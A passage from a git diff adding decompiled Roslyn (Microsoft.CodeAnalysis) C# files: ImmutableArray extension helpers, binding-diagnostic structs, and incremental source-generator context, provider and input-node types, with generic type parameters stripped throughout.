HasAnyErrors(this ImmutableArray diagnostics) where T : Diagnostic + { + ImmutableArray.Enumerator enumerator = diagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Severity == DiagnosticSeverity.Error) + { + return true; + } + } + return false; + } + + internal static ImmutableArray ConditionallyDeOrder(this ImmutableArray array) + { + return array; + } + + internal static ImmutableArray Flatten(this Dictionary> dictionary, IComparer? comparer = null) where TKey : notnull + { + if (dictionary.Count == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (KeyValuePair> item in dictionary) + { + instance.AddRange(item.Value); + } + if (comparer != null && instance.Count > 1) + { + instance.Sort(comparer); + } + return instance.ToImmutableAndFree(); + } + + internal static ImmutableArray Concat(this ImmutableArray first, ImmutableArray second) + { + return first.AddRange(second); + } + + internal static ImmutableArray Concat(this ImmutableArray first, ImmutableArray second, ImmutableArray third) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(first.Length + second.Length + third.Length); + instance.AddRange(first); + instance.AddRange(second); + instance.AddRange(third); + return instance.ToImmutableAndFree(); + } + + internal static ImmutableArray Concat(this ImmutableArray first, ImmutableArray second, ImmutableArray third, ImmutableArray fourth) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(first.Length + second.Length + third.Length + fourth.Length); + instance.AddRange(first); + instance.AddRange(second); + instance.AddRange(third); + instance.AddRange(fourth); + return instance.ToImmutableAndFree(); + } + + internal static ImmutableArray Concat(this ImmutableArray first, ImmutableArray second, ImmutableArray third, ImmutableArray fourth, ImmutableArray fifth) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(first.Length + second.Length + third.Length + fourth.Length + fifth.Length); + instance.AddRange(first); + instance.AddRange(second); + instance.AddRange(third); + instance.AddRange(fourth); + instance.AddRange(fifth); + return instance.ToImmutableAndFree(); + } + + internal static ImmutableArray Concat(this ImmutableArray first, ImmutableArray second, ImmutableArray third, ImmutableArray fourth, ImmutableArray fifth, ImmutableArray sixth) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(first.Length + second.Length + third.Length + fourth.Length + fifth.Length + sixth.Length); + instance.AddRange(first); + instance.AddRange(second); + instance.AddRange(third); + instance.AddRange(fourth); + instance.AddRange(fifth); + instance.AddRange(sixth); + return instance.ToImmutableAndFree(); + } + + internal static ImmutableArray Concat(this ImmutableArray first, T second) + { + return first.Add(second); + } + + internal static ImmutableArray AddRange(this ImmutableArray self, in TemporaryArray items) + { + if (items.Count == 0) + { + return self; + } + if (items.Count == 1) + { + return self.Add(items[0]); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(self.Length + items.Count); + instance.AddRange(self); + TemporaryArray.Enumerator enumerator = items.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + instance.Add(current); + } + return instance.ToImmutableAndFree(); + } + + internal static bool HasDuplicates(this ImmutableArray array, IEqualityComparer? comparer = null) + { + switch (array.Length) + { + case 0: + case 1: + return false; + case 2: + if (comparer == null) + { + comparer = EqualityComparer.Default; + } + return comparer.Equals(array[0], array[1]); + default: + { + HashSet hashSet = new HashSet(comparer); + ImmutableArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (!hashSet.Add(current)) + { + return true; + } + } + return false; + } + } + } + + public static int Count(this ImmutableArray items, Func predicate) + { + if (items.IsEmpty) + { + return 0; + } + int num = 0; + for (int i = 0; i < items.Length; i++) + { + if (predicate(items[i])) + { + num++; + } + } + return num; + } + + public static int Sum(this ImmutableArray items, Func selector) + { + int num = 0; + ImmutableArray.Enumerator enumerator = items.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + num += selector(current); + } + return num; + } + + internal static void AddToMultiValueDictionaryBuilder(Dictionary accumulator, K key, T item) where K : notnull where T : notnull + { + if (accumulator.TryGetValue(key, out object value)) + { + ArrayBuilder arrayBuilder = value as ArrayBuilder; + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(2); + arrayBuilder.Add((T)value); + accumulator[key] = arrayBuilder; + } + arrayBuilder.Add(item); + } + else + { + accumulator.Add(key, item); + } + } + + internal static void CreateNameToMembersMap(Dictionary dictionary, Dictionary> result) where TKey : notnull where TNamespaceOrTypeSymbol : class where TNamedTypeSymbol : class, TNamespaceOrTypeSymbol where TNamespaceSymbol : class, TNamespaceOrTypeSymbol + { + foreach (var (key, value) in dictionary) + { + result.Add(key, createMembers(value)); + } + static ImmutableArray createMembers(object obj2) + { + if (obj2 is ArrayBuilder arrayBuilder) + { + ArrayBuilder.Enumerator enumerator2 = arrayBuilder.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current is TNamespaceSymbol) + { + return arrayBuilder.ToImmutableAndFree(); + } + } + return ImmutableArray.CastUp(arrayBuilder.ToDowncastedImmutableAndFree()); + } + TNamespaceOrTypeSymbol val2 = (TNamespaceOrTypeSymbol)obj2; + if (!(val2 is TNamespaceSymbol)) + { + return ImmutableArray.CastUp(ImmutableArray.Create((TNamedTypeSymbol)(object)val2)); + } + return ImmutableArray.Create(val2); + } + } + + internal static Dictionary> GetTypesFromMemberMap(Dictionary> map, IEqualityComparer comparer) where TKey : notnull where TNamespaceOrTypeSymbol : class where TNamedTypeSymbol : class, TNamespaceOrTypeSymbol + { + Dictionary> dictionary = new Dictionary>(comparer); + foreach (KeyValuePair> item2 in map) + { + KeyValuePairUtil.Deconstruct(item2, out var key, out var value); + TKey key2 = key; + ImmutableArray value2 = getOrCreateNamedTypes(value); + if (value2.Length > 0) + { + dictionary.Add(key2, value2); + } + } + return dictionary; + static ImmutableArray getOrCreateNamedTypes(ImmutableArray members) + { + ImmutableArray result = members.As(); + if (!result.IsDefault) + { + return result; + } + int num = members.Count((TNamespaceOrTypeSymbol s) => s is TNamedTypeSymbol); + if (num == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + ImmutableArray.Enumerator enumerator2 = members.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current is TNamedTypeSymbol item) + { + instance.Add(item); + } + } + return instance.ToImmutableAndFree(); + } + } + + internal static bool SequenceEqual(this ImmutableArray array1, ImmutableArray array2, TArg arg, Func predicate) + { + if (array1.IsDefault) + { + throw new NullReferenceException(); + } + if (array2.IsDefault) + { + throw new NullReferenceException(); + } + if (array1.Length != array2.Length) + { + return false; + } + for (int i = 0; i < array1.Length; i++) + { + if (!predicate(array1[i], array2[i], arg)) + { + return false; + } + } + return true; + } + + internal static int IndexOf(this ImmutableArray array, T item, IEqualityComparer comparer) + { + return array.IndexOf(item, 0, comparer); + } + + internal static bool IsSorted(this ImmutableArray array, IComparer comparer) + { + for (int i = 1; i < array.Length; i++) + { + if (comparer.Compare(array[i - 1], array[i]) > 0) + { + return false; + } + } + return true; + } + + internal static int BinarySearch(this ImmutableArray array, TValue value, Func comparer) + { + return array.AsSpan().BinarySearch(value, comparer); + } + + internal static int BinarySearch(this ReadOnlySpan array, TValue value, Func comparer) + { + int num = 0; + int num2 = array.Length - 1; + while (num <= num2) + { + int num3 = num + (num2 - num >> 1); + int num4 = comparer(array[num3], value); + if (num4 == 0) + { + return num3; + } + if (num4 > 0) + { + num2 = num3 - 1; + } + else + { + num = num3 + 1; + } + } + return ~num; + } + + internal static int BinarySearch(this ImmutableSegmentedList array, TValue value, Func comparer) + { + int num = 0; + int num2 = array.Count - 1; + while (num <= num2) + { + int num3 = num + (num2 - num >> 1); + int num4 = comparer(array[num3], value); + if (num4 == 0) + { + return num3; + } + if (num4 > 0) + { + num2 = num3 - 1; + } + else + { + num = num3 + 1; + } + } + return ~num; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImmutableBindingDiagnostic.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImmutableBindingDiagnostic.cs new file mode 100644 index 0000000..1fb56e9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImmutableBindingDiagnostic.cs @@ -0,0 +1,77 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct ImmutableBindingDiagnostic where TAssemblySymbol : class, IAssemblySymbolInternal +{ + private readonly ImmutableArray _diagnostics; + + private readonly ImmutableArray _dependencies; + + public ImmutableArray Diagnostics => _diagnostics.NullToEmpty(); + + public ImmutableArray Dependencies => _dependencies.NullToEmpty(); + + public static ImmutableBindingDiagnostic Empty => new ImmutableBindingDiagnostic(default(ImmutableArray), default(ImmutableArray)); + + public ImmutableBindingDiagnostic(ImmutableArray diagnostics, ImmutableArray dependencies) + { + _diagnostics = diagnostics.NullToEmpty(); + _dependencies = dependencies.NullToEmpty(); + } + + public ImmutableBindingDiagnostic NullToEmpty() + { + return new ImmutableBindingDiagnostic(Diagnostics, Dependencies); + } + + public static bool operator ==(ImmutableBindingDiagnostic first, ImmutableBindingDiagnostic second) + { + if (first.Diagnostics == second.Diagnostics) + { + return first.Dependencies == second.Dependencies; + } + return false; + } + + public static bool operator !=(ImmutableBindingDiagnostic first, ImmutableBindingDiagnostic second) + { + return !(first == second); + } + + public override bool Equals(object? obj) + { + return (obj as ImmutableBindingDiagnostic?)?.Equals(this) ?? false; + } + + public bool Equals(ImmutableBindingDiagnostic other) + { + return this == other; + } + + public override int GetHashCode() + { + return Diagnostics.GetHashCode(); + } + + public bool HasAnyErrors() + { + return Diagnostics.HasAnyErrors(); + } + + public bool HasAnyResolvedErrors() + { + ImmutableArray.Enumerator enumerator = Diagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + Diagnostic current = enumerator.Current; + DiagnosticWithInfo obj = current as DiagnosticWithInfo; + if ((obj == null || !obj.HasLazyInfo) && current.Severity == DiagnosticSeverity.Error) + { + return true; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImmutableHashSetExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImmutableHashSetExtensions.cs new file mode 100644 index 0000000..7c3a16e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImmutableHashSetExtensions.cs @@ -0,0 +1,36 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal static class ImmutableHashSetExtensions +{ + public static bool SetEqualsWithoutIntermediateHashSet(this ImmutableHashSet set, ImmutableHashSet other) + { + if (set == null) + { + throw new ArgumentNullException("set"); + } + if (other == null) + { + throw new ArgumentNullException("other"); + } + if (set == other) + { + return true; + } + ImmutableHashSet immutableHashSet = other.WithComparer(set.KeyComparer); + if (set.Count != immutableHashSet.Count) + { + return false; + } + foreach (T item in other) + { + if (!set.Contains(item)) + { + return false; + } + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImportedNamespaceOrType.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImportedNamespaceOrType.cs new file mode 100644 index 0000000..72bcbb8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImportedNamespaceOrType.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis; + +public readonly struct ImportedNamespaceOrType +{ + public INamespaceOrTypeSymbol NamespaceOrType { get; } + + public SyntaxReference? DeclaringSyntaxReference { get; } + + internal ImportedNamespaceOrType(INamespaceOrTypeSymbol namespaceOrType, SyntaxReference? declaringSyntaxReference) + { + NamespaceOrType = namespaceOrType; + DeclaringSyntaxReference = declaringSyntaxReference; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImportedXmlNamespace.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImportedXmlNamespace.cs new file mode 100644 index 0000000..b76bad1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImportedXmlNamespace.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis; + +public readonly struct ImportedXmlNamespace +{ + public string XmlNamespace { get; } + + public SyntaxReference? DeclaringSyntaxReference { get; } + + internal ImportedXmlNamespace(string xmlNamespace, SyntaxReference? declaringSyntaxReference) + { + XmlNamespace = xmlNamespace; + DeclaringSyntaxReference = declaringSyntaxReference; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalExecutionContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalExecutionContext.cs new file mode 100644 index 0000000..bb3af9c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalExecutionContext.cs @@ -0,0 +1,28 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct IncrementalExecutionContext(DriverStateTable.Builder? tableBuilder, GeneratorRunStateTable.Builder generatorRunStateBuilder, AdditionalSourcesCollection sources) +{ + internal readonly DiagnosticBag Diagnostics = DiagnosticBag.GetInstance(); + + internal readonly AdditionalSourcesCollection Sources = sources; + + internal readonly DriverStateTable.Builder? TableBuilder = tableBuilder; + + internal readonly GeneratorRunStateTable.Builder GeneratorRunStateBuilder = generatorRunStateBuilder; + + internal readonly ArrayBuilder<(string Key, string Value)> HostOutputBuilder = ArrayBuilder<(string, string)>.GetInstance(); + + internal (ImmutableArray sources, ImmutableArray diagnostics, GeneratorRunStateTable executedSteps, ImmutableArray<(string Key, string Value)> hostOutputs) ToImmutableAndFree() + { + return (sources: Sources.ToImmutableAndFree(), diagnostics: Diagnostics.ToReadOnlyAndFree(), executedSteps: GeneratorRunStateBuilder.ToImmutableAndFree(), hostOutputs: HostOutputBuilder.ToImmutableAndFree()); + } + + internal void Free() + { + Sources.Free(); + Diagnostics.Free(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorInitializationContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorInitializationContext.cs new file mode 100644 index 0000000..a2ae3b0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorInitializationContext.cs @@ -0,0 +1,77 @@ +using System; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct IncrementalGeneratorInitializationContext +{ + private readonly ArrayBuilder _syntaxInputBuilder; + + private readonly ArrayBuilder _outputNodes; + + private readonly string _sourceExtension; + + internal readonly ISyntaxHelper SyntaxHelper; + + public SyntaxValueProvider SyntaxProvider => new SyntaxValueProvider(this, _syntaxInputBuilder, RegisterOutput, SyntaxHelper); + + public IncrementalValueProvider CompilationProvider => new IncrementalValueProvider(SharedInputNodes.Compilation.WithRegisterOutput(RegisterOutput).WithTrackingName("Compilation")); + + internal IncrementalValueProvider CompilationOptionsProvider => new IncrementalValueProvider(SharedInputNodes.CompilationOptions.WithRegisterOutput(RegisterOutput).WithComparer(ReferenceEqualityComparer.Instance).WithTrackingName("CompilationOptions")); + + public IncrementalValueProvider ParseOptionsProvider => new IncrementalValueProvider(SharedInputNodes.ParseOptions.WithRegisterOutput(RegisterOutput).WithTrackingName("ParseOptions")); + + public IncrementalValuesProvider AdditionalTextsProvider => new IncrementalValuesProvider(SharedInputNodes.AdditionalTexts.WithRegisterOutput(RegisterOutput).WithTrackingName("AdditionalTexts")); + + public IncrementalValueProvider AnalyzerConfigOptionsProvider => new IncrementalValueProvider(SharedInputNodes.AnalyzerConfigOptions.WithRegisterOutput(RegisterOutput).WithTrackingName("AnalyzerConfigOptions")); + + public IncrementalValuesProvider MetadataReferencesProvider => new IncrementalValuesProvider(SharedInputNodes.MetadataReferences.WithRegisterOutput(RegisterOutput).WithTrackingName("MetadataReferences")); + + internal IncrementalGeneratorInitializationContext(ArrayBuilder syntaxInputBuilder, ArrayBuilder outputNodes, ISyntaxHelper syntaxHelper, string sourceExtension) + { + _syntaxInputBuilder = syntaxInputBuilder; + _outputNodes = outputNodes; + SyntaxHelper = syntaxHelper; + _sourceExtension = sourceExtension; + } + + public void RegisterSourceOutput(IncrementalValueProvider source, Action action) + { + RegisterSourceOutput(source.Node, action, IncrementalGeneratorOutputKind.Source, _sourceExtension); + } + + public void RegisterSourceOutput(IncrementalValuesProvider source, Action action) + { + RegisterSourceOutput(source.Node, action, IncrementalGeneratorOutputKind.Source, _sourceExtension); + } + + public void RegisterImplementationSourceOutput(IncrementalValueProvider source, Action action) + { + RegisterSourceOutput(source.Node, action, IncrementalGeneratorOutputKind.Implementation, _sourceExtension); + } + + public void RegisterImplementationSourceOutput(IncrementalValuesProvider source, Action action) + { + RegisterSourceOutput(source.Node, action, IncrementalGeneratorOutputKind.Implementation, _sourceExtension); + } + + public void RegisterPostInitializationOutput(Action callback) + { + _outputNodes.Add(new PostInitOutputNode(callback.WrapUserAction())); + } + + private void RegisterOutput(IIncrementalGeneratorOutputNode outputNode) + { + if (!_outputNodes.Contains(outputNode)) + { + _outputNodes.Add(outputNode); + } + } + + private static void RegisterSourceOutput(IIncrementalGeneratorNode node, Action action, IncrementalGeneratorOutputKind kind, string sourceExt) + { + node.RegisterOutput(new SourceOutputNode(node, action.WrapUserAction(), kind, sourceExt)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorOutputKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorOutputKind.cs new file mode 100644 index 0000000..a557c15 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorOutputKind.cs @@ -0,0 +1,12 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum IncrementalGeneratorOutputKind +{ + None = 0, + Source = 1, + PostInit = 2, + Implementation = 4 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorPostInitializationContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorPostInitializationContext.cs new file mode 100644 index 0000000..a457b9e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorPostInitializationContext.cs @@ -0,0 +1,28 @@ +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +public readonly struct IncrementalGeneratorPostInitializationContext +{ + internal readonly AdditionalSourcesCollection AdditionalSources; + + public CancellationToken CancellationToken { get; } + + internal IncrementalGeneratorPostInitializationContext(AdditionalSourcesCollection additionalSources, CancellationToken cancellationToken) + { + AdditionalSources = additionalSources; + CancellationToken = cancellationToken; + } + + public void AddSource(string hintName, string source) + { + AddSource(hintName, SourceText.From(source, Encoding.UTF8)); + } + + public void AddSource(string hintName, SourceText sourceText) + { + AdditionalSources.Add(hintName, sourceText); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorRunStep.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorRunStep.cs new file mode 100644 index 0000000..4aad816 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorRunStep.cs @@ -0,0 +1,23 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public sealed class IncrementalGeneratorRunStep +{ + public string? Name { get; } + + public ImmutableArray<(IncrementalGeneratorRunStep Source, int OutputIndex)> Inputs { get; } + + public ImmutableArray<(object Value, IncrementalStepRunReason Reason)> Outputs { get; } + + public TimeSpan ElapsedTime { get; } + + internal IncrementalGeneratorRunStep(string? stepName, ImmutableArray<(IncrementalGeneratorRunStep Source, int OutputIndex)> inputs, ImmutableArray<(object Value, IncrementalStepRunReason OutputState)> outputs, TimeSpan elapsedTime) + { + Name = stepName; + Inputs = inputs; + Outputs = outputs; + ElapsedTime = elapsedTime; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorWrapper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorWrapper.cs new file mode 100644 index 0000000..71ccb99 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalGeneratorWrapper.cs @@ -0,0 +1,23 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class IncrementalGeneratorWrapper : ISourceGenerator +{ + internal IIncrementalGenerator Generator { get; } + + public IncrementalGeneratorWrapper(IIncrementalGenerator generator) + { + Generator = generator; + } + + void ISourceGenerator.Execute(GeneratorExecutionContext context) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/SourceGeneration/IncrementalWrapper.cs", 29); + } + + void ISourceGenerator.Initialize(GeneratorInitializationContext context) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/SourceGeneration/IncrementalWrapper.cs", 31); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalStepRunReason.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalStepRunReason.cs new file mode 100644 index 0000000..9816100 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalStepRunReason.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis; + +public enum IncrementalStepRunReason +{ + New, + Modified, + Unchanged, + Cached, + Removed +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalValueProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalValueProvider.cs new file mode 100644 index 0000000..a049a6c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalValueProvider.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis; + +public readonly struct IncrementalValueProvider +{ + internal readonly IIncrementalGeneratorNode Node; + + internal IncrementalValueProvider(IIncrementalGeneratorNode node) + { + Node = node; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalValueProviderExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalValueProviderExtensions.cs new file mode 100644 index 0000000..2f10c64 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalValueProviderExtensions.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +public static class IncrementalValueProviderExtensions +{ + public static IncrementalValueProvider Select(this IncrementalValueProvider source, Func selector) + { + return new IncrementalValueProvider(new TransformNode(source.Node, selector.WrapUserFunction())); + } + + public static IncrementalValuesProvider Select(this IncrementalValuesProvider source, Func selector) + { + return new IncrementalValuesProvider(new TransformNode(source.Node, selector.WrapUserFunction())); + } + + public static IncrementalValuesProvider SelectMany(this IncrementalValueProvider source, Func> selector) + { + return new IncrementalValuesProvider(new TransformNode(source.Node, selector.WrapUserFunction())); + } + + public static IncrementalValuesProvider SelectMany(this IncrementalValueProvider source, Func> selector) + { + return new IncrementalValuesProvider(new TransformNode(source.Node, selector.WrapUserFunctionAsImmutableArray())); + } + + public static IncrementalValuesProvider SelectMany(this IncrementalValuesProvider source, Func> selector) + { + return new IncrementalValuesProvider(new TransformNode(source.Node, selector.WrapUserFunction())); + } + + public static IncrementalValuesProvider SelectMany(this IncrementalValuesProvider source, Func> selector) + { + return new IncrementalValuesProvider(new TransformNode(source.Node, selector.WrapUserFunctionAsImmutableArray())); + } + + public static IncrementalValueProvider> Collect(this IncrementalValuesProvider source) + { + return new IncrementalValueProvider>(new BatchNode(source.Node)); + } + + public static IncrementalValuesProvider<(TLeft Left, TRight Right)> Combine(this IncrementalValuesProvider provider1, IncrementalValueProvider provider2) + { + return new IncrementalValuesProvider<(TLeft, TRight)>(new CombineNode(provider1.Node, provider2.Node)); + } + + public static IncrementalValueProvider<(TLeft Left, TRight Right)> Combine(this IncrementalValueProvider provider1, IncrementalValueProvider provider2) + { + return new IncrementalValueProvider<(TLeft, TRight)>(new CombineNode(provider1.Node, provider2.Node)); + } + + public static IncrementalValuesProvider Where(this IncrementalValuesProvider source, Func predicate) + { + return source.SelectMany((TSource item, CancellationToken _) => (!predicate(item)) ? ImmutableArray.Empty : ImmutableArray.Create(item)); + } + + internal static IncrementalValuesProvider Where(this IncrementalValuesProvider source, Func predicate) + { + return source.SelectMany((TSource item, CancellationToken c) => (!predicate(item, c)) ? ImmutableArray.Empty : ImmutableArray.Create(item)); + } + + public static IncrementalValueProvider WithComparer(this IncrementalValueProvider source, IEqualityComparer comparer) + { + return new IncrementalValueProvider(source.Node.WithComparer(comparer.WrapUserComparer())); + } + + public static IncrementalValuesProvider WithComparer(this IncrementalValuesProvider source, IEqualityComparer comparer) + { + return new IncrementalValuesProvider(source.Node.WithComparer(comparer.WrapUserComparer())); + } + + public static IncrementalValueProvider WithTrackingName(this IncrementalValueProvider source, string name) + { + return new IncrementalValueProvider(source.Node.WithTrackingName(name)); + } + + public static IncrementalValuesProvider WithTrackingName(this IncrementalValuesProvider source, string name) + { + return new IncrementalValuesProvider(source.Node.WithTrackingName(name)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalValuesProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalValuesProvider.cs new file mode 100644 index 0000000..78bdeec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IncrementalValuesProvider.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis; + +public readonly struct IncrementalValuesProvider +{ + internal readonly IIncrementalGeneratorNode Node; + + internal IncrementalValuesProvider(IIncrementalGeneratorNode node) + { + Node = node; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InputNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InputNode.cs new file mode 100644 index 0000000..7f77411 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InputNode.cs @@ -0,0 +1,119 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class InputNode : IIncrementalGeneratorNode +{ + private readonly Func> _getInput; + + private readonly Action _registerOutput; + + private readonly IEqualityComparer _inputComparer; + + private readonly IEqualityComparer _comparer; + + private readonly string? _name; + + public InputNode(Func> getInput, IEqualityComparer? inputComparer = null) + : this(getInput, (Action?)null, inputComparer, (IEqualityComparer?)null, (string?)null) + { + } + + private InputNode(Func> getInput, Action? registerOutput, IEqualityComparer? inputComparer = null, IEqualityComparer? comparer = null, string? name = null) + { + _getInput = getInput; + _comparer = comparer ?? EqualityComparer.Default; + _inputComparer = inputComparer ?? EqualityComparer.Default; + _registerOutput = registerOutput ?? ((Action)delegate + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/SourceGeneration/Nodes/InputNode.cs", 37); + }); + _name = name; + } + + public NodeStateTable UpdateStateTable(DriverStateTable.Builder graphState, NodeStateTable? previousTable, CancellationToken cancellationToken) + { + SharedStopwatch sharedStopwatch = SharedStopwatch.StartNew(); + ImmutableArray inputs = _getInput(graphState); + TimeSpan elapsed = sharedStopwatch.Elapsed; + HashSet hashSet = new HashSet(_inputComparer); + ImmutableArray.Enumerator enumerator = inputs.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + hashSet.Add(current); + } + NodeStateTable.Builder builder = graphState.CreateTableBuilder(previousTable, _name, _comparer); + ImmutableArray<(IncrementalGeneratorRunStep, int)> stepInputs = (builder.TrackIncrementalSteps ? ImmutableArray<(IncrementalGeneratorRunStep, int)>.Empty : default(ImmutableArray<(IncrementalGeneratorRunStep, int)>)); + if (previousTable != null) + { + int num = 0; + NodeStateTable.Enumerator enumerator2 = previousTable.GetEnumerator(); + while (enumerator2.MoveNext()) + { + var (item, _, _, _) = (NodeStateEntry)(ref enumerator2.Current); + if (hashSet.Remove(item)) + { + builder.TryUseCachedEntries(elapsed, stepInputs); + } + else if (inputs.Length == previousTable.Count) + { + builder.TryModifyEntry(inputs[num], _comparer, elapsed, stepInputs, EntryState.Modified); + hashSet.Remove(inputs[num]); + } + else + { + builder.TryRemoveEntries(elapsed, stepInputs); + } + num++; + } + } + foreach (T item2 in hashSet) + { + builder.AddEntry(item2, EntryState.Added, elapsed, stepInputs, EntryState.Added); + } + NodeStateTable nodeStateTable = builder.ToImmutableAndFree(); + LogTables(previousTable, nodeStateTable, inputs); + return nodeStateTable; + } + + public IIncrementalGeneratorNode WithComparer(IEqualityComparer comparer) + { + return new InputNode(_getInput, _registerOutput, _inputComparer, comparer, _name); + } + + public IIncrementalGeneratorNode WithTrackingName(string name) + { + return new InputNode(_getInput, _registerOutput, _inputComparer, _comparer, name); + } + + public InputNode WithRegisterOutput(Action registerOutput) + { + return new 